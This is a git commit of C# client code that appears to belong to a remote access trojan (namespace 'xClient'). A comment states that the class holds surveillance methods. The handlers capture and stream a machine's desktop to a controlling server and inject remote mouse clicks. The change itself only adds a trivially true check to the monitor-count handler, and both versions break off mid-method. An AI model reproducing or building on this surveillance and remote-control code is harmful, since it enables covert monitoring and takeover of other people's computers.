<commit_before>﻿using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using xClient.Core.Helper;
using System.Drawing.Imaging;
using System.Threading;
using System.ComponentModel;

namespace xClient.Core.Commands
{
    /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT ARE USED FOR SURVEILLANCE. */
    public static partial class CommandHandler
    {
        public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
        {
            if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality ||
                StreamCodec.Monitor != command.Monitor)
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);

            BitmapData bmpdata = null;
            try
            {
                LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
                bmpdata = LastDesktopScreenshot.LockBits(
                    new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
                    LastDesktopScreenshot.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    StreamCodec.CodeImage(bmpdata.Scan0,
                        new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                        new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                        LastDesktopScreenshot.PixelFormat,
                        stream);
                    new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
                        StreamCodec.Monitor).Execute(client);
                }
            }
            catch
            {
                new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);

                StreamCodec = null;
            }
            finally
            {
                if (LastDesktopScreenshot != null)
                {
                    if (bmpdata != null)
                    {
                        LastDesktopScreenshot.UnlockBits(bmpdata);
                    }
                    LastDesktopScreenshot.Dispose();
                }
            }
        }

        public static void HandleMouseClick(Packets.ServerPackets.MouseClick command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            if (command.LeftClick)
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                }
            }
            else
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                }
            }
        }

        public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client)
        {
            {
                new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
            }
        }

        public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client client)
        {
            new Thread(() =><commit_msg>Improved HandleMonitors<commit_after>﻿using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using xClient.Core.Helper;
using System.Drawing.Imaging;
using System.Threading;
using System.ComponentModel;

namespace xClient.Core.Commands
{
    /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT ARE USED FOR SURVEILLANCE. */
    public static partial class CommandHandler
    {
        public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
        {
            if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality ||
                StreamCodec.Monitor != command.Monitor)
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);

            BitmapData bmpdata = null;
            try
            {
                LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
                bmpdata = LastDesktopScreenshot.LockBits(
                    new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
                    LastDesktopScreenshot.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    StreamCodec.CodeImage(bmpdata.Scan0,
                        new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                        new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                        LastDesktopScreenshot.PixelFormat,
                        stream);
                    new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
                        StreamCodec.Monitor).Execute(client);
                }
            }
            catch
            {
                new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);

                StreamCodec = null;
            }
            finally
            {
                if (LastDesktopScreenshot != null)
                {
                    if (bmpdata != null)
                    {
                        LastDesktopScreenshot.UnlockBits(bmpdata);
                    }
                    LastDesktopScreenshot.Dispose();
                }
            }
        }

        public static void HandleMouseClick(Packets.ServerPackets.MouseClick command, Client client)
        {
            Screen[] allScreens = Screen.AllScreens;
            int offsetX = allScreens[command.MonitorIndex].Bounds.X;
            int offsetY = allScreens[command.MonitorIndex].Bounds.Y;
            Point p = new Point(command.X + offsetX, command.Y + offsetY);

            if (command.LeftClick)
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_LEFTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, 0);
                }
            }
            else
            {
                SetCursorPos(p.X, p.Y);
                mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                if (command.DoubleClick)
                {
                    mouse_event(MOUSEEVENTF_RIGHTDOWN, p.X, p.Y, 0, 0);
                    mouse_event(MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, 0);
                }
            }
        }

        public static void HandleMonitors(Packets.ServerPackets.Monitors command, Client client)
        {
            if (Screen.AllScreens != null && Screen.AllScreens.Length >= 0)
            {
                new Packets.ClientPackets.MonitorsResponse(Screen.AllScreens.Length).Execute(client);
            }
        }

        public static void HandleGetLogs(Packets.ServerPackets.GetLogs command, Client client)
        {
            new Thread(() =>
{'fraction_non_alphanumeric': 0.08499253359880538, 'fraction_numerical': 0.005350920856147337, 'mean_word_length': 1.6204760352135636, 'pattern_counts': {'":': 0, '<': 3, '<?xml version=': 0, '>': 6, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2878726', 'n_tokens_mistral': 2301, 'n_tokens_neox': 2102, 'n_words': 396}